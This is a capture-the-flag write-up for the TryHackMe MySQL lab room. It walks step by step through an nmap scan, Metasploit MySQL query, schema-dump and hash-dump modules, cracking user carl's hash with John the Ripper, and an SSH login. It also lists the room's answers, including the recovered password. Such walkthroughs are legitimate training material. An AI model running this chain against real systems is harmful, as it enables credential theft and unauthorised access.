TryHackMe — Network Services 2 (MySQL) Walkthrough | Enumeration, Metasploit & Password Cracking

Difficulty: Easy Platform: TryHackMe Category: Network Services / MySQL Tools Used: Nmap, MySQL Client, Metasploit Framework, John the Ripper, SSH

Introduction

In this walkthrough, we’ll explore the MySQL section of the Network Services 2 room on TryHackMe.

The objective isn’t simply to answer the room’s questions but to understand how penetration testers enumerate database services, interact with MySQL using Metasploit, dump useful information, extract password hashes, crack them, and finally gain SSH access to the target machine.

Step 1 — Scan the Target

Start by scanning the machine.

nmap -sC -sV -p- <TARGET_IP>

The scan reveals two important services:

22/tcp    OpenSSH
3306/tcp  MySQL

✅ TryHackMe Answer

🟩 Answer: **3306**

Step 2 — Connect to MySQL

Use the credentials provided in the room.

mysql -h <TARGET_IP> -u root -p

After entering the password, you’ll reach the MySQL prompt.

mysql>

Step 3 — Launch Metasploit

Start Metasploit.

msfconsole

Search for the SQL module.

search mysql_sql

Load it.

use auxiliary/admin/mysql/mysql_sql

Step 4 — View Required Options

Display the module options.

show options

✅ TryHackMe Answer

🟩 Answer:

PASSWORD RHOSTS USERNAME

Configure them.

set USERNAME root
set PASSWORD password
set RHOSTS <TARGET_IP>

Step 5 — Execute the Default SQL Query

Run the module.

run

By default, it executes:

select version();

The current output is:

8.0.42-0ubuntu0.20.04.1

✅ TryHackMe Answer

🟩 Answer: **8.0.42-0ubuntu0.20.04.1**

Important Note: Many older walkthroughs still show 5.7.29–0ubuntu0.18.04.1 because the room was updated. The current correct answer is 8.0.42–0ubuntu0.20.04.1, as verified in the latest version of the room.

Step 6 — Enumerate Databases

Change the SQL query.

set SQL "show databases"
run

Output:

information_schema
mysql
performance_schema
sys

✅ TryHackMe Answer

🟩 Answer: **4**

Step 7 — Dump Database Schemas

Search for another module.

search mysql_schemadump

Load it.

use auxiliary/scanner/mysql/mysql_schemadump

Configure the required options.

set USERNAME root
set PASSWORD password
set RHOSTS <TARGET_IP>

Execute it.

run

The module dumps all database schemas.

✅ TryHackMe Answer

🟩 Answer: **auxiliary/scanner/mysql/mysql_schemadump**

Scroll to the bottom of the output.

The last table dumped is:

✅ TryHackMe Answer

🟩 Answer: **x$waits_global_by_latency**

Step 8 — Dump Password Hashes

Search for another module.

search mysql_hashdump

Load it.

use auxiliary/scanner/mysql/mysql_hashdump

Configure the options.

set USERNAME root
set PASSWORD password
set RHOSTS <TARGET_IP>

Run the module.

run

✅ TryHackMe Answer

🟩 Answer: **auxiliary/scanner/mysql/mysql_hashdump**

Among all users, one account immediately stands out.

✅ TryHackMe Answer

🟩 Answer: **carl**

The extracted hash is:

✅ TryHackMe Answer

🟩 Answer:

***carl:*EA031893AA21444B170FC2162A56978B8CEECE18***

Step 9 — Crack the Password

Save the hash.

echo "carl:*EA031893AA21444B170FC2162A56978B8CEECE18" > hash.txt

Run John the Ripper.

john hash.txt

John successfully cracks the password.

✅ TryHackMe Answer

🟩 Answer: **doggie**

Step 10 — SSH Into the Machine

Use the recovered credentials.

ssh carl@<TARGET_IP>

Password:

doggie

After logging in, navigate through the system and retrieve the final flag to complete the room.

What I Learned

This room demonstrates how dangerous weak database configurations can be. With valid credentials, an attacker can:

• Execute arbitrary SQL queries
• Enumerate databases
• Dump schemas
• Extract password hashes
• Crack passwords offline
• Reuse recovered credentials to obtain shell access

It also highlights the importance of avoiding password reuse across services, as compromising a database account can quickly lead to full system access.

TryHackMe Palo Alto Networks HackTheBox SRMIST

Cybersecurity #Ethicalhacking #linux #metasploit #NetworkServices #tryhackme #password #cracking